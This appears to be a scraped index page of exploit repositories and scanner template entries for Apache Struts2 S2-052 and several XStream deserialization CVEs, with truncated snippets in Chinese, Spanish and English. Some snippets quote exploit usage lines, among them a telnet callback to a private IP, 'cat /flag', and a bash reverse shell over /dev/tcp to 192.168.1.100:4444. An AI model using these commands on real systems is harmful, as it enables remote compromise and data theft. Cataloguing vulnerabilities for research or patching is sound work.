-CVE-2017-9805-

漏洞信息 资源： https://vulners.com/cve/CVE-2017-9805 这是什么？ 一个 Python 漏洞利用脚本，能够在托管易受 S2-052 攻击的 Struts2 系统上远程执行 shell 命令。 用法 python s2-052.py --target 'http://192.168.0.233/orders/3' --command "echo pwned | telnet 192.168.0.122 1234" root@kitploit: Apache Struts XStream REST vulnerability - S2-052...

CVE-2021-21341

CVE-2021-21341 XStream 拒绝服务 XStream 官方公告 CVE-2021-21341 漏洞 CVE-2021-21341: XStream 可能导致拒绝服务。 受影响版本 如果直接使用默认配置，所有直至并包括 1.4.15 的版本均受影响。遵循建议使用白名单（仅包含最小必需类型）配置 XStream 安全框架的用户不受影响。 描述 在反序列化时，被处理的流包含用于重新创建先前写入对象的类型信息。因此，XStream 会基于这些类型信息创建新实例。攻击者可以操纵被处理的输入流，并替换或注入一个被操纵的...

struts2-rce-cve-2017-9805-ruby

Struts2 漏洞 - CVE-2017-9805 描述 Apache Struts2 REST 插件 XStream RCECVE-2017-9805 用法 root@kitploit: Usage: cve20179805poc.rb targeturi cmd ruby cve20179805poc.rb 127.0.0.1 ping -c 4 192.168.0.1...

Xstream-1.4.17

Xstream-1.4.17 （以上Xstream Demo环境经本人搭建，漏洞利用环境以JDK1.8u131为准，现支持本地测试和HTTP远程发包） XSTREAM=1.4.17漏洞复现（CVE-2021-39141、CVE-2021-39144、CVE-2021-39150、CVE-2021-39152） 不提供本实验利用POC，仅展示复现利用效果，为避免恶意人员的利用，仅提供官网POC：http://x-stream.github.io/changes.html CVE-2021-39141（RCE）...

XStream-1

master: v-1.4.x: XStream Serialización de Java a XML, y viceversa Binarios Todos los artefactos binarios están empaquetados en el archivo -bin. Incluye los jars de XStream y cualquier otra biblioteca utilizada en tiempo de compilación, o extras opcionales en tiempo de ejecución. Se recomienda el...

xstream-CVE-2021-29505

xstream-CVE-2021-29505...

xstream-CVE-2020-26259

xstream-CVE-2020-26259...

xstream-CVE-2020-26258

xstream-CVE-2020-26258...

xstream-CVE-2020-26217

xstream-CVE-2020-26217...

XStream <1.4.14 - Remote Code Execution

XStream before 1.4.14 is susceptible to remote code execution. An attacker can run arbitrary shell commands by manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of...

XStream <1.4.17 - Remote Code Execution

XStream before 1.4.17 is susceptible to remote code execution. An attacker can execute commands of the host by manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of...

XStream < 1.4.16 - Remote Code Execution

XStream before 1.4.16 is susceptible to remote code execution. An attacker who has sufficient rights can execute host commands via manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operation...

XStream 1.4.18 - Remote Code Execution

XStream 1.4.18 is susceptible to remote code execution. An attacker can execute commands of the host by manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the...

XStream <1.4.15 - Server-Side Request Forgery

XStream before 1.4.15 is susceptible to server-side request forgery. An attacker can request data from internal resources that are not publicly available by manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorize...

XStream 1.4.18 - Arbitrary Code Execution

XStream 1.4.18 is susceptible to remote code execution. An attacker can execute commands of the host by manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the...

XStream <1.4.18 - Server-Side Request Forgery

XStream before 1.4.18 is susceptible to server-side request forgery. An attacker can request data from internal resources that are not publicly available by manipulating the processed input stream with a Java runtime version 14 to 8. This makes it possible to obtain sensitive information, modify...

XStream <1.4.16 - Remote Code Execution

XStream before 1.4.16 is susceptible to remote code execution. An attacker can load and execute arbitrary code from a remote host via manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative...

XStream 1.4.18 - Remote Code Execution

XStream 1.4.18 is susceptible to remote code execution. An attacker can execute commands of the host by manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the...

XStream <1.4.6/1.4.10 - Remote Code Execution

Xstream API before 1.4.6 and 1.4.10 is susceptible to remote code execution. If the security framework has not been initialized, an attacker can run arbitrary shell commands by manipulating the processed input stream when unmarshaling XML or any supported format. This can allow an attacker to...

CVE-2020-26217-XStream

CVE-2020-26217 XStream RCE Exploit XStream 远程代码执行漏洞利用工具。 漏洞描述 CVE-2020-26217 是 XStream 库中的一个反序列化漏洞，攻击者可以通过构造恶意的 XML 数据触发远程代码执行。 影响版本：XStream 示例 root@kitploit: 运行工具 go run poc.go http://target.com:8080/?data 进入交互模式后输入命令 cmd whoami cmd cat /flag cmd bash -i & /dev/tcp/192.168.1.100/4444 0&1 cmd exi...